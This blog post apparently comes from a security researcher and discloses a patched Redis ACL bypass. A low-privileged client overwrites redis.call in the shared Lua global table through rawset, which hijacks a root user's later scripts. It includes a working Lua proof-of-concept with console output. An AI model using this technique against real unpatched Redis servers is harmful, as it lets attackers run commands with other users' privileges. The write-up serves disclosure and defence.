Last year I did a research on the embedded Lua interpreter of redis-server(+wrote a pwnable). During this research, I managed to spot a hidden, 2-year old privilege escalation that was left un-noticed for quite some time (:

Redis’ embedded Lua interpreter is widely used by web-apps backend, especially if the app wants to perform complex, atomic database transactions with some logic in it, which makes the Lua feature very attractive/useful. Hence, it makes sense that all the security mechanisms should be in-place not only in the redis server, but also in the embedded lua interpreter.

Bug Description

During my research on the Redis Lua interpreter, I noticed that all the redis clients share the same lua global scope(_G). This might be dangerous, since one client with low-privileges can execute a lua script that might affect other scripts, which are executed by higher-privileged users. In a scenario like this, the low-privileged user could hijack the higher-privileged user’s session & execute redis commands on his behalf.

Layers of defense

Achieving the ACL bypass exploit wasn’t as trivial as it sounds. The Redis maintainers made sure to implement the same security controls they normally use in the rest of the server when they added the ACL functionality to the Lua interpreter. However, once you peek into the internals of the Lua component in the server, you realize there’s a logic bug you can leverage to escalate your privs and bypass the built-in security controls. Below are the obstacles & how they can be bypassed.

Obstacle #1

As expected, redis-server has a mechanism to protect the Lua’s _G table. This mechanism is defined in scriptingEnableGlobalsProtection:

src/scripting.c#L1301-L1332

/* This function installs metamethods in the global table _G that prevent
 * the creation of globals accidentally.
 *
 * It should be the last to be called in the scripting engine initialization
 * sequence, because it may interact with creation of globals. */
void scriptingEnableGlobalsProtection(lua_State *lua) {
    char *s[32];
    sds code = sdsempty();
    int j = 0;
 
    /* strict.lua from: http://metalua.luaforge.net/src/lib/strict.lua.html.
     * Modified to be adapted to Redis. */
    s[j++]="local dbg=debug\n";
    s[j++]="local mt = {}\n";
    s[j++]="setmetatable(_G, mt)\n";
    s[j++]="mt.__newindex = function (t, n, v)\n";
    s[j++]="  if dbg.getinfo(2) then\n";
    s[j++]="    local w = dbg.getinfo(2, \"S\").what\n";
    s[j++]="    if w ~= \"main\" and w ~= \"C\" then\n";
    s[j++]="      error(\"Script attempted to create global variable '\"..tostring(n)..\"'\", 2)\n";
    s[j++]="    end\n";
    s[j++]="  end\n";
    s[j++]="  rawset(t, n, v)\n";
    s[j++]="end\n";
    s[j++]="mt.__index = function (t, n)\n";
    s[j++]="  if dbg.getinfo(2) and dbg.getinfo(2, \"S\").what ~= \"C\" then\n";
    s[j++]="    error(\"Script attempted to access nonexistent global variable '\"..tostring(n)..\"'\", 2)\n";
    s[j++]="  end\n";
    s[j++]="  return rawget(t, n)\n";
    s[j++]="end\n";
    s[j++]="debug = nil\n";
    s[j++]=NULL;
  /* ... */

If you’re not familiar with setmetatable(), you can think of it as a similar mechanism to define getter/setters. They are calling setmetatable() on the global table(_G) in order to prevent modifications of it by any redis client.

Obstacle #2

On top of scriptingEnableGlobalsProtection, ACL rules are also enforced if the client tries to perform redis-related operations via the Lua interpreter that are not in his ACL rules settings:

src/scripting.c#L855-L858

    /* Check the ACLs. */
    int acl_errpos;
    int acl_retval = ACLCheckAllPerm(c,&acl_errpos);
    if (acl_retval != ACL_OK) {
        addACLLogEntry(c,acl_retval,ACL_LOG_CTX_LUA,acl_errpos,NULL,NULL);
        switch (acl_retval) {
        case ACL_DENIED_CMD:
            luaPushError(lua, "The user executing the script can't run this "
                              "command or subcommand");
            break;
      /* ... */

They are using ACLCheckAllPerm to check if the current user is authorized to perform the requested redis operation.

Bypass :D

It was found that even though we have those two obstacles/mechanisms(described above), a low-privileged user can still elevate his privileges. This can be done by poisoning Lua’s _G table in order to hijack another client’s session(with higher privileges) using Lua’s built-in rawset method, which is not blacklisted.

By doing that, it is possible to bypass scriptingEnableGlobalsProtection due to the insufficient blacklisting, and also overcome the check of ACLCheckAllPerm because we’re doing a redis operation on behalf of another user that already has those permissions.

Below is a PoC to demonstrate the exploitation.

PoC

For the proof of concept, we’ll use the following ACL configurations:

user lowpriv on >lowpriv-pwd ~* +eval
user root on >root ~* &* +@all

The lowpriv user cannot execute any redis operations(GET/SET/etc) except Lua transactions. The root user has all permissions enabled.

The following steps demonstrates the attack:

  1. The lowpriv user executes the following Lua script:
-- ./redis-6.2.6/src/redis-cli --user lowpriv --pass lowpriv-pwd  --eval ./poc.lua
 
local pocfunc = function(...)
  print('[*] executing set command...', redis.call_real('set','hijacked','poc-test-123123'))
  local retval = redis.call_real(unpack(arg))
  print('[*] retval=', retval)
  return retval 
end
 
rawset(_G.redis,'call_real', redis.call)
rawset(_G.redis,'call', pocfunc)
print('[*] done')

We switched the redis.call function implementation and added our own sneaky ‘backdoor’ to it.(pocfunc)

2. Then, the root user logs in the server & perform a Lua script that executes a GET operation:

127.0.0.1:6379> KEYS *
1) "foo"
127.0.0.1:6379> EVAL "return redis.call('get', 'foo')" 0
"bar"
127.0.0.1:6379> KEYS *
1) "hijacked"
2) "foo"
127.0.0.1:6379> GET hijacked
"poc-test-123123"
127.0.0.1:6379> ACL LIST
1) "user lowpriv on #aa3a017020b8bb26ffc9efb7641689203f7fb4ad83907f96b362906b9bff9f5c ~* &* -@all +eval"
2) "user root on #4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2 ~* &* +@all"

As can be seen above, even though the root user performed a legitimate GET operation, a new redis key was created(named ‘hijacked’).

Note: The same attack scenario(of poisoning the global scope) can be done with setmetatable , which is also available in the embedded Lua interpreter. Using this method, a malicious client can effectively disable all the hard-coded protections defined in scriptingEnableGlobalsProtection.

Reporting to Redis (Dup? or maybe not??)

When I sent this to the Redis security team, they said it’s a known attack vector(poisoning the _G global scope to hijack other users).

However, it was initially reported on 2014, and it had a much lower severity due to the design/security maturity of redis, which led it to be dropped(back then, there were no security controls like ACLs or passwords).

But since that time redis stepped-up the security awareness and added security features(protected mode in 2016, ACLs in 2020 which was even a bigger leap). Since the introduction of ACLs in 2020 there was no warning/note saying that ACLCheckAllPerm can be subverted as a side-effect, leaving a lot of redis servers exposed for this new attack surface without their knowledge.

As a result, they agreed to give a partial credit. In the advisory description, it says that i’m responsible for reporting, but not for the discovery(usually it says ‘This issue was discovered and reported by XXXXX’). Which is quite fair imho, the original report bypassed scriptingEnableGlobalsProtection, and I was responsible for demonstrating the higher impact by pointing out that this finding was left-out since 2014, and can be leveraged to defeat modern security controls(such as ACLCheckAllPerm), which resulted in an immediate fix. If you have Redis 6.0 and above, you are affected. This issue was fixed in 7.0.0 and 6.2.7.

Thanks for reading, I hope it was informative.

References / Further Reading